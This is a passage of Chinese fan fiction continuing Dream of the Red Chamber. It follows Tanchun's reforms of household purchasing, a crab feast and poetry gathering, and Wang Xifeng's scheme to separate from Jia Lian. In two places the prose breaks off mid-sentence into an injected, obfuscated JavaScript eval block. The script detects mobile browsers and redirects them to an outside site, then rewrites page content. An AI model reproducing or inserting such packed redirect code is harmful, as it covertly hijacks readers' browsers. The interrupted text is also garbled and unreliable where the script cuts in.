探春再忍不住,背着身子哭了起来。宝钗太清楚探春心中想法,便拉着她到了里间炕上坐了下来,劝道“别太难过,赵姨娘也不是故意如此,她在这府里也不容易···” 探春哭诉道“我难道不知道她不容易吗?我难道不知道我是她生的吗?只是为何偏要当着这么多人给我没脸?既生了我,就该这样待我吗?” 宝钗搂着探春,宽慰道“赵姨娘那样的人,谁遇到了也无可奈何。我知道你满心不想辜负姨妈的期望,一直将家事打点得很妥当。你又是只讲规矩不留情面的,姨妈知道了也要夸你。如今一点小事就别再难过了,好不好呢?” 探春很快也不再哭泣,低声道“宝姐姐,你不知道。去扬州前我担心她在家里受委屈,特意求父亲让凤姐姐多照料她。咱们回了京城,我也私下打听过,并没有人敢对她摆脸子或者苛待她。” 顿了顿又道“她既已过上了舒心日子,却还不忘那些混帐事。今日偏当着这么多人让我为她兄弟徇私情。若果真这样,我在这府里管事,谁还能听我呢?她若真心疼我,又如何半点也体会不到我的难处呢?” 宝钗想了想,又道“也许赵姨娘只是脑子不太灵光,容易被其他人挑唆。而且下人们惯会捧高踩低的,她觉得自己受了苦,你此时得了势,理应回馈赵家。可是她这样想,却太看不起你了。” 探春并没回答,细细想着事情。 宝钗忽叹了口气,轻声道“我看赵姨娘心里也总是记挂着你的。只是有时既不好表现,也怕你看不起她,她也很矛盾。”探春听罢,叹了口气,也没回应。 探春与赵姨娘的争吵很快在荣府传了个遍,也有说她攀高枝瞧不起亲娘的,也有说她太严苛不留情面的,只有姐妹们理解她的难处,少不了许多宽慰。 只是探春也很坚强,并没有被流言影响,仍秉公办事,极细致勤勉。她因想到府里买办的种种弊端,便与姐妹们商量之后找了个解决办法。这日晚上便来王夫人处商议。 正好贾政也在炕桌前坐着,一家三口自回了京城反而很少有机会聚在一起闲聊家常。三人就坐在炕上,先随意说了一会儿家事。 贾政有意想与探春说说赵姨娘的事情,只是做父亲的不好开口,便示意王夫人来劝。可王夫人在其中也是两难,又反看向贾政。 贾政无奈,赵姨娘闹事根源还是贾政自己,只好自己来弥补。 贾政想了想,便道“赵姨娘那日所说,探春不要放在心上···” 探春反而笑了笑,说道“多谢父亲关心,我并没有忧虑那件事。”贾政很少觉得自己这么笨嘴拙舌的,只好又看夫人。 王夫人笑了笑,将探春搂在怀里,柔声道“你能秉公办事,老爷与我都很高兴,这是你有才干。” 顿了顿,又轻轻抚摸探春脊背,宽慰道“赵姨娘的确有过错,你也不能轻易原谅她,她不懂你的心是她的问题。她在深宅里也有难处,纵然老爷与我不苛待她,也会有一些我们想不到的困难。我并没有让你特意关照她,只是想说如何待她随你心意,老爷与我都不会因为这个对你有丝毫的芥蒂。” 探春在王夫人怀里闷闷地应了一声。 王夫人又叹道“你年纪还小,大约不能理解当母亲的心。我有时却能理解她一二分。待你经历的事情多了,或者能理解她,或者不理解她,也都不紧要。只是你不要陷入这种矛盾中,影响了自己。”王夫人字字句句皆是对探春的理解和疼惜,探春听罢,只是搂紧王夫人腰背,默默思考着。 贾政在旁边听罢,实在忍不住心里的喜欢和赞赏,直直看着王夫人,轻声道“都是我的错···” 54.裙钗一二可齐家 王夫人不解贾政的话,疑惑看他。 贾政又道“赵姨娘的问题除了源自她自己,大部分也是社会扭曲造成的,是我的罪过···”这句话更让王夫人觉得莫名其妙,只是并不好直接再问,也就没有理会贾政。 探春缓了一会儿,抬起头来,脸上带着笑,又道“父亲母亲,我有事想与你们商量。” 王夫人便笑道“是家务事吧。”探春点点头。 贾政也道“有什么事放心说出来,我与你母亲都会帮你的。” 探春道“先时,母亲与凤姐姐打理家事,内外都做了许多省俭的地方。只是咱们府上足有上千人,难免有积弊难除,或是顾及不到的。我这些日子与大嫂子和宝姐姐在旁看着,发现这头一等混乱的地方就是管采买东西的。” 贾政点点头赞同道“自古以来,凡是管事的人手中经过银钱,总会多少产生贪污腐败的,这是常事,却很难彻底解决。” 王夫人也问道“你们可有法子?” 探春便答“大族人家几代人安享尊荣,府里下人没有上千,也有数百。如此多的下人一代代传下来,其中积弊也就因为人员关系的错综复杂难以彻底解决。” 又道“如此来看,我们仍沿用最初的规矩来管理家事,就不太妥当。所以我与姐妹们商议后,都觉得应当做釜底抽薪之举,里外各处都彻底翻出来,仔细筛查一遍。 例如采买事务,最好是分成两拨人管理,一人联系商铺下单子,一人管理银钱。每两人领一件事,咱们府里采买的事总说有好几十件。每一个月便将这些人打散,随意两两配合···” “这的确是个好主意,但就怕新换的人一时不熟悉事务,反而耽搁了要怎么办呢?”贾政故意问道。 探春又答“凡是与咱们有往来的铺子,每一个月咱们都将最新的货物价格登记成册,这就可以免了因为更换人手导致的疏漏。” “倒是个好主意,只是这些家生奴才,若一点油水都没有,反而不会好好办事了。”王夫人又补充道。 探春便答“这个我们也考虑到了。既没有油水可捞,也可以在其他方面做些赏赐,也是一种激励,这样摆在明面上,也更好管理。” “具体如何做呢?”贾政配合问道。 “每一个月对他们的差事做一次考核,标准可以是采买物品的品质,还有办事时效这些。合格的就赏,不合格的就罚,若下次再不合格,便撤了差事。”探春回答道。 “只是这样的话,谁又来负责监管呢?”王夫人问道。 探春立刻回答“咱们府里如此多的下人,都以为监察别人是好差事,肯定抢着要来做这个的。” 贾政笑道“探春,你们的想法很好,具体的安排听起来也很妥当。只是具体实行起来是个什么样子,我也不敢保证的。” “正因为事大,所以才想来讨父母亲的示下。”探春正色道。 贾政与王夫人对视一眼,贾政又道“我们都很支持你的办法,待先回明了老太太,若她同意了,我与你母亲自然全力支持的。” 探春笑道“姐妹都说父母亲肯定同意的,没想到这么简单就信了我们!” 王夫人又道“只怕到时出了乱子,或者再有人闹事,我又在外兼顾不上时,你们记得先找老太太主持大局,不要慌乱。” 探春点了点头,又道“若真实行起来,必定是要狠了心做个结果出来的!” “你有如此大的决心,做其他事也必定能有成就的。”贾政赞赏道。 果然探春是个颇有才干且心志坚定的孩子,这与黛玉和宝钗的才干却又不同了。 次日早晨,贾政与王夫人去贾母处请安时,贾政便说了这件事。 贾母听罢很是沉默了一会儿,她自然知道这其中的难做。 她自己也深知其中道理,如此多的隐患不解决,日子长了总要闹出大事,或是家族败落,或是引来外面的祸患。 贾母一番犹豫思考后,仍是点了点头。王夫人也就放心将结果告诉了探春姐妹。 探春因担心自己有顾及不到的地方,又向王夫人请来了黛玉和宝钗与她一同打理此事。李纨心软,做不来这个,她便也不管这事,只处理简单事务。 这日宝钗正好与薛家管事们盘账,便将今年前三个月书坊的部分盈利拿了过来,分给了姐妹们,每人五百两银子。又带了些自家铺子的笔墨纸砚和首饰布匹给姐妹们用。 “宝姐姐总是这样贴心!”黛玉搂着宝钗脖颈,笑道。 “姨妈事情多,顾不上这些,三妹妹更忙,我便替你们想到了,也不辜负你们叫我一声姐姐。”宝钗笑着摸了摸黛玉脊背。 宝玉正细看宝钗带来的胭脂,笑说“看起来是江南的东西,比京城的更细更润,颜色也没那么艳俗。” “宝兄弟还欠八篇文章,什么时候交来呢?”宝钗故意问道。 宝玉便有些尴尬,说道“不知不觉欠了这么多,我一定要好好写了···”他又看到黛玉正神情玩味地看他,便笑道“林妹妹满腹诗书,不如···” 黛玉打断了宝玉,笑道“我不管你,我自己的东西还写不完,哪里顾得上帮你交作业?” 宝钗笑道“林妹妹的大作何日完稿了,一定让我看看!我给你登在咱们笔谈最醒目的位置,定要助你扬名天下!” 黛玉微微红了脸,说道“哪有那么快呢!宝姐姐你也来打趣我了···” “林妹妹善诗书,宝姐姐做生意无人能及,三妹妹如今打理家事也是一把好手···”迎春说罢又看了眼四姑娘惜春,搂着妹妹肩膀笑道“只有咱们两个看起来一无是处呢···” 惜春倒看得开,笑道“怎么可能人人都有惊世奇才?咱们俩在这里,也可衬托出姐姐妹妹的才华来,我却不觉得难过呢!” 迎春捏了捏惜春脸颊,笑说“小小年纪却懂这么多道理!姐姐我也不及你!” 宝钗安慰道“人与人的性格千差万别,如今只是没有时机,日后你们也能找到适合并且擅长的事情来做的。” “我看二姐姐沉稳安静,很适合教小孩子们读书呢!”黛玉笑道。 宝玉也拍手笑道“说起这个,宝姐姐扬州的丝织厂可还顺利?”宝钗点了点头。 宝玉又道“论起做生意来,几万个男子也比不上宝姐姐。” 迎春早就听过了姐妹们在扬州的许多事情,每每想来,仍不免羡慕叹息。 此时,英莲受薛姨妈嘱托过来找宝钗,便在这里略坐了一会儿。 待英莲离开后,迎春轻声叹道“命运弄人啊!” 宝钗和黛玉听罢立刻懂了迎春的意思,二人对视一眼,都想安慰她。只是迎春又轻笑了一声,低声道“万般皆是命,半点不由人···” “你又何必这样子自苦说这种话呢!”宝钗揽着迎春肩膀,劝道“虽有命定之说,但也没有人下过定论不可以违抗命运的。” 迎春只是苦涩地摇摇头,并不搭话。黛玉见状反不好安慰,只是与宝钗一起讲了些趣事,引她不要忧虑那些未来的事情。 探春的改革紧锣密鼓地进行着。 下人们这些日子很是体会到了这位三小姐的手段,纵使心中再有不满,也只能恭敬听话。就连赵姨娘都碰了钉子,其他人更不敢依仗着年纪资历不听从探春的安排。前期倒还算顺利。 只是外面的铺子并不配合。他们都是习惯了从前那样方式做生意的,自家的货物不过是中下等成色,因与一些大户人家的买办有了勾结,便能将货物贵价卖出。探春如此改革,自然看不上从前经常采购的铺子了。 “宝姐姐,这可怎么办呢?”探春故意问宝钗。宝钗其实知道探春心中所想,只是自己哪好开口。 黛玉看得清楚,便说“三妹妹想从宝姐姐的铺子采买东西,只是宝姐姐却担心外人混说。” 探春便直接道“宝姐姐,我知道你们家的生意涵盖广泛,品质也都极好,只是你看不上贾家这一点钱,才不愿意的!” 探春此话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051480|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非是生气,而是因为她知道宝钗的顾虑,才故意如此打趣。 宝钗笑道“真是拿你们两个没了办法。你们既清楚明白,怎么还来闹我?” “我虽面上管家,可是对外面的商铺货物又知道多少呢?只有宝姐姐家最是知根知底靠得住的。”探春笑说。 黛玉知晓宝钗心中矛盾,便说“按理来说,这样确实会招惹许多流言。薛家是舅妈妹妹家,如今却供应贾家的日常物品,外人肯定要说是舅妈胳膊肘朝外拐了,宝姐姐也帮衬着打理这样的家事,日后也不好秉公处理。” 宝钗看一眼黛玉,又将黛玉搂了过来,笑道“颦儿是懂我的。” 探春见宝钗如此,也知这样行事的确不妥,便派人将几家铺子的同类东西都买一些,做了比较,再确定找谁家采购。这件事做起来费些功夫,不过也还算顺利。 此时探春正忙着打理家事,而王熙凤回到王家也有半个多月了。她日渐好了起来,又因心中痛快,其精神容貌更盛往昔。 贾琏因为受了贾母和父母的要求,亲来王家看过两次,只是王熙凤都装病躺着,不与他说话。贾琏猜测王熙凤仍在生气,只好从平儿处探探口风。 岂料平儿也只是拿场面话敷衍,贾琏心里生气,又不好在王家发火,只能闷闷回了家,又是喝酒,又是私会女人,倒比王熙凤在时更自在几分了。 “二爷,你那阎王老婆可怎么样了?”鲍二老婆躺在贾琏怀里,细声问道。 贾琏笑道“她还在生气,不愿意见我,更不愿意回来。不回来我还乐得自在呢!” 鲍二老婆叹了口气道“那日原来找了巫婆做法,没想到最后眼看着要办成了,偏来了和尚救了她一命,不然二爷如今不知道多么自在呢!” 贾琏忙捂着她嘴巴,说道“那日的事再也不要提了,圣上最忌讳这种事,你还要说?” 鲍二老婆佯怒道“二爷真是白费了我的心,我不也是为了二爷吗?” 贾琏笑着将她搂紧,又道“我当然知道你的心,只是这种事毕竟说法太多,咱们只烂在肚子里就好,何必再提呢?” “哪有男人像你这样怕老婆的?”鲍二老婆在贾琏胸口戳了戳,故意说道。 贾政却有些不满,他最恨别人这样说他,便道“我哪里怕她?她不过是仗着娘家有几分势力,老太太和老爷太太又疼她,她在我面前才敢这样不知天高地厚!如今她既然装病不愿意见我,我也不再理她,看谁先要求情!” “二爷这样有魄力,我最喜欢二爷这样!”鲍二媳妇也摸清了贾琏喜好,故意说他爱听的话。 贾琏很是受用,他最喜欢这样柔弱,又满心满眼都是他,必须依靠他的女子,便压在鲍二媳妇身上,笑道“你不知道的还多着呢!咱们再来试试···” 自王熙凤大好了之后,她父母亲便也常劝着她收敛往日的骄傲脾气,在丈夫面前乖巧柔顺一些。王熙凤全不理会,只是推脱。 那日晚上王子安夫人来王熙凤屋里,又如此安慰。 “琏儿也来看过你好几次了,可你总是不给好脸,夫妻之间哪有这样相处的呢?”王子安夫人宽慰道“我想你也好起来了,不如收拾东西搬了回去,你再低个头,也就好了。” 王熙凤听罢,也不搭话,反而说道“母亲,你可知道我为何中了巫术,差点死了?” 王子安夫人便道“大约是哪里冲撞了吧···” 王熙凤摇摇头,说道“琏二爷与那个□□找了巫婆做法,想先要了我的命,再将那个女人娶进来做正房,再霸占了我的嫁妆,幸好有姑姑姑父一直照看我,我才没被害死。” 王子安夫人惊讶道“怎么会有这样的事!也许有人故意这样说挑拨你们的···” “母亲,我自然有证据的。”王熙凤说道。 王子安夫人也灰了心,说道“琏儿怎么成了这样的人!”心里也为女儿的未来很是忧愁。 王熙凤却不紧张,正色道“我想与贾琏和离,请母亲帮我···” 55.螃蟹宴又逢事变 那日宝钗建议起一回诗社,让姐妹们欢聚一会。宝玉便带着几个妹妹去找贾母,想打发人去接史湘云。 贾母很快派人去接,只是那边却说家里有事,不便过来,又过了五六日才来。 黛玉和宝钗都是初次见到湘云,也很喜欢她那样娇憨可爱,直爽洒脱的性格。姐妹间相处起来都很融洽。 宝玉便问湘云怎么耽搁了好几天才来。 湘云直言道“大姐姐要出嫁了,婶子留我在家做针线。” 探春疑惑道“针线最是劳心劳神,怎么偏要你做,那么多丫鬟却不来做呢?” 湘云难得犹豫了一会儿,才道“我与大姐姐亲厚,如今她要出嫁,我也应当做些事儿略表情意的。” 宝钗和黛玉都看出湘云有苦难言,便扯了扯探春的袖子,让她不要再说。 宝玉又道“如今湘云妹妹来了,咱们明日便起诗社吧!” 湘云点点头,笑道“我正是为了这个来的呢!” 黛玉想到贾母因为王熙凤不在,多日来都难见笑颜。今日好不容易见了史湘云贾母才有几分欢喜。 黛玉便笑道“不如明日多摆几桌席,将老太太,两位舅妈和姨妈也叫上,家人们热热闹闹聚一聚,咱们再起诗社?” 探春也喜欢这个主意,拍手笑道“也难得可以放松放松了,正是这样才好,明日母亲无事,也可以玩一玩!” 宝钗想了想,又道“正巧我那里有从江南运来的一些时令瓜果和螃蟹,明日咱们便就这些东西摆宴,只额外再准备些点心酒水就行了。” “要请戏班吗?”宝玉问道。 “请一班吧,老太太和太太们应当喜欢。”探春说道。 黛玉走到宝钗身侧,半靠着她笑道“总是宝姐姐为咱们花钱,这可有些不好意思了呢!” 宝钗点了点黛玉鼻尖,笑道“我才不信你的话!” 探春立刻想到什么,便说“正巧前几日宝姐姐不是给咱们分了书坊的红利吗?不如咱们姐妹每人拿出几两来办明天的宴席,也是咱们做子孙的孝敬长辈了!” “很该如此”迎春也点头道。 “什么书坊?”湘云却问。黛玉眼珠转了转,故意看着宝钗。湘云也就看向宝钗。 “本来还想瞒着你呢,只是探丫头嘴太快了!”宝钗故意笑道。 探春走到湘云身边,揽住她肩膀,解释道“宝姐姐才没有要瞒着你呢!我们在扬州的时候就讨论过了,待回了京,也要算你一份的!” 探春见湘云很是感兴趣,便将书坊的事情细细说了。 “原来文苑笔谈是你们一起办的啊!我早就读了好几册,日日盼着新书出来呢!”湘云喜道。 “看来咱们的笔谈已然风靡京城了!”黛玉笑道,又走到宝玉旁边,说道“你欠的那几篇,也该抓紧了,不然下一册上更没有你的名字了!” 宝玉被揭了短处,作势就要抓黛玉的痒,黛玉早一头扎进宝钗怀里,连连笑着求饶“二哥哥饶了我吧,再不敢了!” 次日宴席全是宝钗,探春和黛玉打点的,不仅请了贾母,邢、王夫人,薛姨妈,东府那边的尤氏也来了。 “我这几个姑娘都是孝顺的,今日酒席都是她们拿的钱,咱们只管吃酒看戏就是了!”贾母笑道。 薛姨妈也附和道“再也没有见过比她们几个还要聪慧能干的姑娘了,老太太真有福气!” “林姐姐,咱们去向老太太敬酒吧!”探春在黛玉耳畔说道。 宝玉也听到了,他向探春黛玉调皮笑了笑,就拿过暖酒壶,满满倒了一杯,端到了贾母跟前。 “请老祖宗赏脸喝了我这一杯!”宝玉撒娇道。 贾母哪有拒绝的,饮尽了这一杯,又将宝玉搂在怀里,笑道“总是没有白疼他的!” 黛玉和探春也来敬酒,姐妹俩各端了一杯,黛玉笑说“老太太既喝了宝玉的酒,我们的酒断不能不喝的!” 贾母笑说“今日又不是给我祝寿,你们姐妹应当互相敬酒,怎么还轮着想灌醉我呢?”贾母也是一句玩笑话,将这两杯酒也都喝了。 其余人见贾母已喝了三杯,便也不来敬酒,都各自吃酒看戏,不时奉承贾母。 戏刚唱了一会儿,螃蟹陆续也蒸好端了上来。往日这种事情都是王熙凤在贾母身旁伺候,如今只有李纨一个在旁边。 王夫人本想起身服侍,尤氏却道“太太坐着,我来服侍老太太。” 贾母便问王夫人道“凤丫头身子可大安了?” 王夫人回道“已好了大半,大约这几日就回来了呢!” 贾母听了便点点头,满意道“凤丫头不在身边,总觉得像少了十几个人呢!” 尤氏剔好了一壳蟹黄,放到贾母面前,笑道“老祖宗今日也赏我几分面子,不要嫌我伺候的不周到!” 贾母拍了拍尤氏手臂,笑说“你和凤丫头好了一场,当然知道她最是个热闹人,我不过念了她一句,你怎么还来打趣我呢!”这一句自然也是玩笑话。 邢夫人也笑道“琏儿也去看了几回,说凤丫头好多了!” 贾母点了点头,又道“能阖家团圆就最好了!” 薛姨妈和孩子们坐一大桌,孩子们也不用别人伺候,拿着各样吃螃蟹的工具剔肉吃。 “螃蟹性寒,就着热酒一起吃!”薛姨妈叮嘱道。宝钗也剔出来一些蟹肉蟹黄,都放到了母亲面前,又说“母亲吃这个,省的脏了手。” 说罢也喝了一杯热酒。宝钗巡视一圈看姐妹们都忙着吃蟹,也很高兴她们喜欢,又拿起暖酒壶挨个给姐妹们斟酒。 “咱们举杯共饮,感谢宝姐姐和三妹妹林妹妹的酒席!”宝玉举起酒杯道。姐妹们互相看着笑了笑,碰了杯,又饮尽了酒。 “宝姐姐,你想好一会儿诗社的题目了吗?”湘云笑问宝钗。 英莲与宝钗一处住,便笑道“宝姐姐昨晚就想好了呢!” 湘云扶着宝钗手臂,忙问“是什么呢?”宝钗却故作神秘地摇摇头。 “好吧,现在说出来我反倒没心思吃螃蟹了,一会儿再说也无妨!”湘云自我安慰道。 探春见状便搂着湘云脖颈,笑道“真真湘云是个会自我开解的!咱们谁也不如她豁达!” 黛玉也道“虽是小事,却也能看得出脾气性格。” 湘云笑道“我只是觉得无论如何,人不要自苦,平白陷进一些愁思中去,反倒不好呢!” 薛姨妈也知道湘云生世,又心疼她这样懂事,便将湘云拉到怀里,搂着她,柔声说一些母女之间的亲昵话。又喂她吃蟹肉,真像是一对儿亲母女了。 英莲自认了薛姨妈做干妈,与众姐妹相处时更觉得从未有过的欢畅。她知道湘云也是无父无母,就笑看她埋在薛姨妈怀里撒娇,又为她倒了酒,母女三个聊得很是热络。 “姑娘们喝醉了吗?”王夫人走了过来,笑问孩子们。 探春与黛玉早就挽着王夫人坐下了,黛玉又在王夫人耳边说了两句话。 “宝玉才华不及众姐妹,我却别无办法。不如将你们珠大哥叫来顶替了宝玉的位置吧!”王夫人笑说。 贾珠身体大好了之后因在家无事,便去了京郊一处书院读书。倒不为别的,只听说那书院的先生都有大智慧,贾珠也想浸染几分。一月只去十几日,也并没有因此不顾家事。 黛玉却又说“宝玉很有自知之明,倒也不必赶了他出去···” 探春也点点头道“二哥哥自然有他的用处!” “说清楚些,我有什么用处呢?”宝玉故意又问。 探春假意思考了一会儿,才悠悠说道“赏心悦目吧···” 宝玉气得皱了皱鼻子,又哼了一声,抢走了探春剔好的蟹肉,探春便在身后追他,姐妹俩笑闹起来。 “你们两个好像没怎么吃呢?”王夫人又走到迎春惜春跟前,笑问道。 迎春却道“怪麻烦的。”王夫人摸摸迎春的头,又道“那就多吃些点心水果。” 此时惜春却道“二姐姐怕麻烦,我不怕,便让我来服侍二姐姐吧!” 说罢果真像个小大人那样又为迎春斟酒,又是剔肉又是拿水果的。 王夫人点头笑道“四姑娘也长大了,只是面貌还像个小孩儿。” 惜春半靠着王夫人,也撒娇道“太太也逗我,姐姐们平日总当我是小孩儿,好多事情也不与我说,我正难过呢!”说罢,却反对探春做了个鬼脸。 探春笑道“母亲再别信她!四妹妹是故意的!” 王夫人摸摸惜春脑袋,慈爱道“总还是个要人疼的孩子呢!” 又一会儿贾母推脱有些倦了,便去歇午觉了。孩子们还有诗社要做,便又摆了两张桌子用来写字。 王夫人因今日无事,便与薛姨妈坐一小桌,看孩子们玩。 “姐姐,凤丫头那边可有消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056048|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”薛姨妈悄声问道。王夫人叹了口气,并没说话。薛姨妈知道其中关键,也没有追问。 “宝姐姐现在总该和盘托出了吧!”湘云拽着宝钗手臂,急道。 宝钗笑了笑,看一眼英莲。英莲会意,拿出一张花笺。 湘云和探春忙接过去看了。 “做一首七言律诗点评苏东坡其人”湘云读罢,又道“宝姐姐出的题目真像是科举考试要考的!” 探春看过却是大笑,又道“宝姐姐偷懒,分明这题目是晏乐老师以前布置的作业!” 宝钗却笑说“晏乐老师所考,是让点评王安石,我今日却写的是苏东坡,何来偷懒一说呢?” 黛玉挽住宝钗手臂,笑说“我赞同宝姐姐!” 宝玉却皱皱眉头,为难道“最烦做这样的诗了?不如咱们来咏诵菊花如何呢?” 李纨今日自荐掌社,听了这题目很是点了点头,说道“你珠大哥对苏东坡很是推崇。” “不好不好,宝姐姐是东道主,咱们应当听她的安排。”湘云笑说。 宝玉见姐妹们都不支持他,也无可奈何。迎春惜春两个都不擅长作诗,她们便只旁观。 一时间姐妹们都开始思考,或有思维敏捷的,已经开始研墨蘸笔写了起来。 宝玉看黛玉反而不慌不忙,便问道“林妹妹可有了?” 黛玉却瞥了宝玉一眼,笑道“你不管我,好好作你的诗。”宝玉只好又冥思起来。 这边正是一团祥和,岁月静好,忽然林之孝家的赶了过来,走到王夫人跟前。 王夫人敛了神色,轻声问道,“有什么事吗?”林之孝家的犹豫了一会儿,才低声回答“官府来人要抓鲍二媳妇···” “因为什么事?”王夫人忙问道。 “有人告她谋害二奶奶···” 王夫人听罢,深深叹了口气,说道“让带了去吧,你叫两个人在衙门跟前时刻打探消息。” 薛姨妈见王夫人神情不对,便将姐姐扶着坐到了屋子里,才问道“出事了吗?” 王夫人沉声道“有人把那日和琏儿胡混的媳妇告了,说她弄巫术谋害凤丫头。” “不过是家里的事情,何必闹到官府,面子上多不好看?凤丫头不是个没有计较的人啊!”薛姨妈不解问道。 王夫人却摇了摇头,说道“我想她是要拿这个逼琏儿···” “做什么?”薛姨妈又问。 “我本来没想事情会到这一步,只是凤丫头眼里容不下沙子,终究还是这样做了···”王夫人叹了口气又道“我想她是要逼琏儿与她和离。” 薛姨妈满是惊讶,忙道“哥哥嫂子也不会同意吧?” “她既这样做了,想必兄嫂已然默许了···”王夫人叹道。 “琏儿虽有些风流荒唐事,也不至于两个人要彻底走到这一步···”薛姨妈也叹了口气,她虽了解王熙凤的性格,却并不赞成和离这件事。和离总是女人更要吃亏,哪有说起来那么容易的? “她年轻,人又骄傲,与琏儿总是少不了口角。我也时常劝她,却没有用。我想凤丫头已经深思熟虑过了,也许只能这样了。”王夫人又道。 “只怕老太太和大老爷那边也不会同意的,到时凤丫头也要受委屈···”薛姨妈又道。 “凤丫头肯定是有什么底气,才敢这样行事,也许琏儿做了什么事有把柄在她手里吧!”王夫人如此说是基于对王熙凤的了解,自己侄女是个不见兔子不撒鹰的人,不会轻率行事的。 “就怕姐姐你两面不好做人,老太太到时候埋怨你···”薛姨妈想到这里,又担心姐姐。 王夫人却笑了笑,神情柔和了下来。 薛姨妈立刻会意,说道“既然有姐夫在中间调停,也不用我操心了。” “只是我有一事不太明白···”薛姨妈又问。 “什么事呢?”王夫人道。 “以前总以为姐夫是个极孝顺的人,为何如今却敢不事事听从老太太了呢?”薛姨妈笑问。 王夫人却不回答,拈了块梅花糕放到妹妹手上,又道“怎么还编排起来你姐夫了!” 薛姨妈咬了一口点心,笑道“我编排姐夫你不高兴,我从不提他,姐姐反而自己又要提起。总归都是我的不对了!”说罢,还叹了口气。 “吃你的点心吧!吃罢咱们商议一下,要怎么去回老太太。”王夫人又道。 56.劳燕分飞空叹息 王熙凤离开贾府那日,贾政的小厮给了平儿一封信。 信上说的是鲍二媳妇弄巫术谋害王熙凤,此事贾琏也知情。贾政又补充道,若是王熙凤不愿意再和贾琏过日子,便大胆谋划,他会在背后帮忙说服贾母。 王熙凤读罢,既痛恨贾琏对谋害自己的人坐视不理,又高兴姑父贾政先提出要支持她。于是王熙凤细细思考几日后,先向父母郑重说了这件事。 王子安夫人本不赞同,待听了贾琏的事情后,也有些松动。毕竟是自己千娇万宠的女儿,且此事是贾琏有错在先,王家如今也不必很顾及贾家的颜面如何,便带着王熙凤和王子安说了这件事。 王子安听罢来龙去脉后很是沉默了了一会儿,便叹道“从前看贾琏是个好的,没想到却做这种丧尽天良的事情!” 又道“我虽早不在乎这张老脸,只是怕你姑姑在那府里不好做人···” 王熙凤正跪在地上,此时忙道“姑父说他会说服老太太的···” 王子安听罢,却道“凤儿,你可想清楚了和离背后的种种苦处吗?日后再要嫁人怕很艰难,也没有了贾家那样豪门大族做依靠了,只怕你叔叔他们待你也不如从前···” “女儿只想痛痛快快过日子,日后便有流言也不在乎!”王熙凤正色道。 王子安叹了口气,说道“就怕你将来后悔,我们做父母的也无可奈何啊!” “我自小就争强好胜,父亲是知道的,幼时连哥哥都常被我戏弄。”王熙凤说到这里,反而笑了笑。 又道“嫁为人妇才知道,我在丈夫面前必须时刻收敛自己的脾气,还要按照他喜欢的样子行事,我也想着要改,只是改来改去,反而不是自己了。” 说到这里,王熙凤又想到曾经与贾琏甜蜜时的场景,却一滴眼泪都没有,又正色说道“女儿深思熟虑过了,再也不愿意过那样的日子,那不过是一点点将自己消耗殆尽。以后女儿只守在父母跟前尽孝,绝不再嫁!” 王子安听罢,轻轻叹了口气。 “凤儿你起来吧···”王子安示意平儿将王熙凤扶起来。 又道“你哥哥已是不成器的了,你却比他强上百倍,我和你母亲在金陵也常记挂你。你既然觉得再回贾府是如此痛苦,父亲又为何要强逼你呢?不如你也与我们回金陵去,过几天舒心日子吧。”王子安说罢,苦笑一声。 “女儿多谢父母厚爱!”王熙凤又跪了下来,重重磕了三个头,抬起头时,眼眸清亮,似是看到了前方更自由的未来。 王子安夫人忙亲自搀起女儿,又搂着她说了许多贴心话,王熙凤也全然不像往日那样坚强,埋在母亲怀里,像幼时那般撒娇。 “夫人这几日便去贾府将这事说清楚吧,若他们不愿,你态度坚决些就是,他们也不至于如何强硬的。”王子安又道。 王熙凤却说“父亲,我有个主意。”王子安点头示意她说。 “我在那府里管了几年家,手段不免凌厉些,只怕下人们没有不恨我的。若是贾琏从这里面故意捏造一些事情诽谤我,我反而不好脱身。不如将那个弄神弄鬼的媳妇告到衙门,圣上正忌讳这个,贾琏自己心里有鬼,肯定担心这事闹大了要坏贾家的事情。 有这个牵制着,不怕他不松口。至于老太太也确实对我很是宠爱,我也不愿意那样待老人家,只好让姑父帮我描补几句。咱们家势力正盛,他们也不敢对姑姑怎么样,更何况,还有姑父在背后呢。”王熙凤详细说道。 王子安点头道“你姑父是个正派人,对你姑姑,对几个孩子,都很上心。” “姑父前几年还因为想要省俭而与老太太有过龃龉,大约姑父早就看出贾家后继无人,日常又奢靡,保不准哪一天就要被人抓住把柄的。”王熙凤说道。 “那就按照你说的来做,只是一定要记得收拾局面,不要连累了不相干的人。”王子安嘱咐道。 王熙凤所说不过是权宜之计,法子并不算狠辣,只是为了拿捏住贾琏罢了。 贾府那边,王夫人和薛姨妈便在宴席上知道了王熙凤告鲍二媳妇的事情。王夫人不敢将这事告诉贾母,待晚间贾政回了家,才说了这事。 贾政自然要装出一副气愤的样子,就让人叫来了贾琏。贾琏来时尤不知情,却也有几分小心谨慎。 “鲍二媳妇被告到衙门去了,这么丢脸的事情你还不知道吗?我可是听说她这件事与你也脱不了干系。”贾政开了口,面上却似乎不很生气,只是语气低沉,也不让贾琏坐下。 贾琏却知道,贾政这样是真的气急了,忙回道“侄子只是与她有过那么一次,她私下里做什么事情我一概不知啊!” “荒唐!”贾政猛的拍了一下桌子,又道“人家点名说是鲍二媳妇行巫蛊之事谋害贾府二奶奶,这样的事情传出去了,圣上还能容得下咱们家吗?” 贾琏低声道“老爷莫急,侄子尽快处理了这事儿,绝不让旁人知道!” 